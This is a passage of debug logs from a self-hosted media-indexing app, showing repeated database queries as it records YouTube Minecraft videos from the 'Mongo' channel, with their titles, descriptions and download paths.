Battle!", "upload_date" => "20260524"} 19:44:30.106 [debug] QUERY OK source="sources" db=0.2ms idle=1407.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [31] 19:44:30.107 [debug] QUERY OK source="sources" db=0.1ms idle=1407.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:44:30.108 [debug] QUERY OK source="media_items" db=1.1ms idle=1407.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-24 17:34:55Z], 31] 19:44:30.109 [debug] QUERY OK source="media_items" db=0.4ms idle=1072.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo and his Friends are doing a build battle, except YOU are cheating? Watch to find out!\n\n\n#Mongo #Minecraft #MinecraftMod", "YOU Cheat With SECRET CAMERAS In Minecraft Build Battle!", "0bf20352-fe2c-4137-b5f5-c201bb0a289e", "NKbjniE9Ug4", false, "https://www.youtube.com/watch?v=NKbjniE9Ug4", 31, [], 1120, false, 11, "/downloads/rory/Mongo/2026-05-24 YOU Cheat With SECRET CAMERAS In Minecraft Build Battle!/YOU Cheat With SECRET CAMERAS In Minecraft Build Battle! [NKbjniE9Ug4].mp4", false, false, 98, ~U[2026-05-24 17:34:55Z], ~U[2026-06-03 23:44:30Z], ~U[2026-06-03 23:44:30Z], "Mongo and his Friends are doing a build battle, except YOU are cheating? Watch to find out!\n\n\n#Mongo #Minecraft #MinecraftMod", "YOU Cheat With SECRET CAMERAS In Minecraft Build Battle!", "NKbjniE9Ug4", "https://www.youtube.com/watch?v=NKbjniE9Ug4", 31, 1120, false, "/downloads/rory/Mongo/2026-05-24 YOU Cheat With SECRET CAMERAS In Minecraft Build Battle!/YOU Cheat With SECRET CAMERAS In Minecraft Build Battle! [NKbjniE9Ug4].mp4", false, ~U[2026-05-24 17:34:55Z]] 19:44:30.109 [debug] QUERY OK source="sources" db=0.1ms idle=72.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:44:30.109 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:44:30.110 [debug] QUERY OK source="media_items" db=0.2ms idle=2.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [139127] 19:44:30.110 [debug] Current batch of media processed. Will check again in 1000ms 19:44:31.111 [debug] Current batch of media processed. Will check again in 1000ms 19:44:32.113 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Mongo Pretended to be a BABY MONGO on an One RAINBOW RAFT Minecraft! What does Mongo do? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "duration" => 997, "filename" => "/downloads/rory/Mongo/2026-05-23 I Pretended to be a BABY MONGO on an OP RAINBOW RAFT!/I Pretended to be a BABY MONGO on an OP RAINBOW RAFT! [7TrJHLfmISo].mp4", "id" => "7TrJHLfmISo", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=7TrJHLfmISo", "playlist_index" => 12, "timestamp" => 1779555607, "title" => "I Pretended to be a BABY MONGO on an OP RAINBOW RAFT!", "upload_date" => "20260523"} 19:44:32.114 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=414.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [31] 19:44:32.115 [debug] QUERY OK source="sources" db=0.5ms idle=415.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:44:32.118 [debug] QUERY OK source="media_items" db=2.5ms queue=0.1ms idle=416.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-23 17:00:07Z], 31] 19:44:32.119 [debug] QUERY OK source="media_items" db=0.4ms idle=419.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo Pretended to be a BABY MONGO on an One RAINBOW RAFT Minecraft! What does Mongo do? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Pretended to be a BABY MONGO on an OP RAINBOW RAFT!", "7b20e6e7-6ee8-426b-9043-a0b176f112ce", "7TrJHLfmISo", false, "https://www.youtube.com/watch?v=7TrJHLfmISo", 31, [], 997, false, 12, "/downloads/rory/Mongo/2026-05-23 I Pretended to be a BABY MONGO on an OP RAINBOW RAFT!/I Pretended to be a BABY MONGO on an OP RAINBOW RAFT! [7TrJHLfmISo].mp4", false, false, 98, ~U[2026-05-23 17:00:07Z], ~U[2026-06-03 23:44:32Z], ~U[2026-06-03 23:44:32Z], "Mongo Pretended to be a BABY MONGO on an One RAINBOW RAFT Minecraft! What does Mongo do? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Pretended to be a BABY MONGO on an OP RAINBOW RAFT!", "7TrJHLfmISo", "https://www.youtube.com/watch?v=7TrJHLfmISo", 31, 997, false, "/downloads/rory/Mongo/2026-05-23 I Pretended to be a BABY MONGO on an OP RAINBOW RAFT!/I Pretended to be a BABY MONGO on an OP RAINBOW RAFT! [7TrJHLfmISo].mp4", false, ~U[2026-05-23 17:00:07Z]] 19:44:32.119 [debug] QUERY OK source="sources" db=0.1ms idle=79.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:44:32.120 [debug] QUERY OK source="media_profiles" db=0.1ms idle=5.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:44:32.120 [debug] QUERY OK source="media_items" db=0.1ms idle=4.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [138914] 19:44:32.120 [debug] Current batch of media processed. Will check again in 1000ms 19:44:32.861 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:44:33.121 [debug] Current batch of media processed. Will check again in 1000ms 19:44:34.122 [debug] Current batch of media processed. Will check again in 1000ms 19:44:35.123 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Mongo and Axy have to work together to build a the most secure house to beat SUNMAN! Do they succeed? Watch to find out.\n\n#Mongo #Minecraft #MinecraftMod", "duration" => 839, "filename" => "/downloads/rory/Mongo/2026-05-22 GIANT SUNMAN vs Security House In Minecraft!/GIANT SUNMAN vs Security House In Minecraft! [GYjZ65S8QVk].mp4", "id" => "GYjZ65S8QVk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=GYjZ65S8QVk", "playlist_index" => 13, "timestamp" => 1779476923, "title" => "GIANT SUNMAN vs Security House In Minecraft!", "upload_date" => "20260522"} 19:44:35.124 [debug] QUERY OK source="sources" db=0.2ms idle=1424.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [31] 19:44:35.124 [debug] QUERY OK source="sources" db=0.1ms idle=1424.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:44:35.126 [debug] QUERY OK source="media_items" db=1.6ms idle=1081.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-22 19:08:43Z], 31] 19:44:35.127 [debug] QUERY OK source="media_items" db=0.7ms idle=427.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo and Axy have to work together to build a the most secure house to beat SUNMAN! Do they succeed? Watch to find out.\n\n#Mongo #Minecraft #MinecraftMod", "GIANT SUNMAN vs Security House In Minecraft!", "347bedfa-a5c0-43ae-98f9-8a7d878b2abb", "GYjZ65S8QVk", false, "https://www.youtube.com/watch?v=GYjZ65S8QVk", 31, [], 839, false, 13, "/downloads/rory/Mongo/2026-05-22 GIANT SUNMAN vs Security House In Minecraft!/GIANT SUNMAN vs Security House In Minecraft! [GYjZ65S8QVk].mp4", false, false, 98, ~U[2026-05-22 19:08:43Z], ~U[2026-06-03 23:44:35Z], ~U[2026-06-03 23:44:35Z], "Mongo and Axy have to work together to build a the most secure house to beat SUNMAN! Do they succeed? Watch to find out.\n\n#Mongo #Minecraft #MinecraftMod", "GIANT SUNMAN vs Security House In Minecraft!", "GYjZ65S8QVk", "https://www.youtube.com/watch?v=GYjZ65S8QVk", 31, 839, false, "/downloads/rory/Mongo/2026-05-22 GIANT SUNMAN vs Security House In Minecraft!/GIANT SUNMAN vs Security House In Minecraft! [GYjZ65S8QVk].mp4", false, ~U[2026-05-22 19:08:43Z]] 19:44:35.127 [debug] QUERY OK source="sources" db=0.2ms idle=83.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:44:35.128 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:44:35.128 [debug] QUERY OK source="media_items" db=0.2ms idle=3.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [138698] 19:44:35.128 [debug] Current batch of media processed. Will check again in 1000ms 19:44:36.129 [debug] Current batch of media processed. Will check again in 1000ms 19:44:37.130 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Mongo and Axy are doing a build battle on who can build the best TITAN SUNMAN! Who wins Mongo or Axy? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "duration" => 758, "filename" => "/downloads/rory/Mongo/2026-05-21 I Cheated With TITAN SUNMAN In Minecraft Build Battle!/I Cheated With TITAN SUNMAN In Minecraft Build Battle! [xwUYue7gz98].mp4", "id" => "xwUYue7gz98", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=xwUYue7gz98", "playlist_index" => 14, "timestamp" => 1779382864, "title" => "I Cheated With TITAN SUNMAN In Minecraft Build Battle!", "upload_date" => "20260521"} 19:44:37.132 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=432.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [31] 19:44:37.133 [debug] QUERY OK source="sources" db=0.6ms idle=433.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:44:37.137 [debug] QUERY OK source="media_items" db=2.8ms idle=434.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-21 17:01:04Z], 31] 19:44:37.137 [debug] QUERY OK source="media_items" db=0.5ms idle=437.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo and Axy are doing a build battle on who can build the best TITAN SUNMAN! Who wins Mongo or Axy? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Cheated With TITAN SUNMAN In Minecraft Build Battle!", "3a8b77d5-e9a6-48ff-bec1-59a654298899", "xwUYue7gz98", false, "https://www.youtube.com/watch?v=xwUYue7gz98", 31, [], 758, false, 14, "/downloads/rory/Mongo/2026-05-21 I Cheated With TITAN SUNMAN In Minecraft Build Battle!/I Cheated With TITAN SUNMAN In Minecraft Build Battle! [xwUYue7gz98].mp4", false, false, 98, ~U[2026-05-21 17:01:04Z], ~U[2026-06-03 23:44:37Z], ~U[2026-06-03 23:44:37Z], "Mongo and Axy are doing a build battle on who can build the best TITAN SUNMAN! Who wins Mongo or Axy? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Cheated With TITAN SUNMAN In Minecraft Build Battle!", "xwUYue7gz98", "https://www.youtube.com/watch?v=xwUYue7gz98", 31, 758, false, "/downloads/rory/Mongo/2026-05-21 I Cheated With TITAN SUNMAN In Minecraft Build Battle!/I Cheated With TITAN SUNMAN In Minecraft Build Battle! [xwUYue7gz98].mp4", false, ~U[2026-05-21 17:01:04Z]] 19:44:37.138 [debug] QUERY OK source="sources" db=0.1ms idle=91.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:44:37.138 [debug] QUERY OK source="media_profiles" db=0.2ms idle=6.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:44:37.138 [debug] QUERY OK source="media_items" db=0.2ms idle=5.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [138482] 19:44:37.139 [debug] Current batch of media processed. Will check again in 1000ms 19:44:38.139 [debug] Current batch of media processed. Will check again in 1000ms 19:44:39.140 [debug] Current batch of media processed. Will check again in 1000ms 19:44:40.141 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Mongo Pretended to be a BABY AXOLOTL on an One Chunk Minecraft! What does Mongo do? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "duration" => 893, "filename" => "/downloads/rory/Mongo/2026-05-20 I Pretended to be a BABY AXOLOTL on an OP ELEMENTAL One Chunk!/I Pretended to be a BABY AXOLOTL on an OP ELEMENTAL One Chunk! [dMFgYKWa7wk].mp4", "id" => "dMFgYKWa7wk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=dMFgYKWa7wk", "playlist_index" => 15, "timestamp" => 1779296452, "title" => "I Pretended to be a BABY AXOLOTL on an OP ELEMENTAL One Chunk!", "upload_date" => "20260520"} 19:44:40.143 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1442.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [31] 19:44:40.144 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1444.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:44:40.147 [debug] QUERY OK source="media_items" db=2.2ms queue=0.1ms idle=1445.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-20 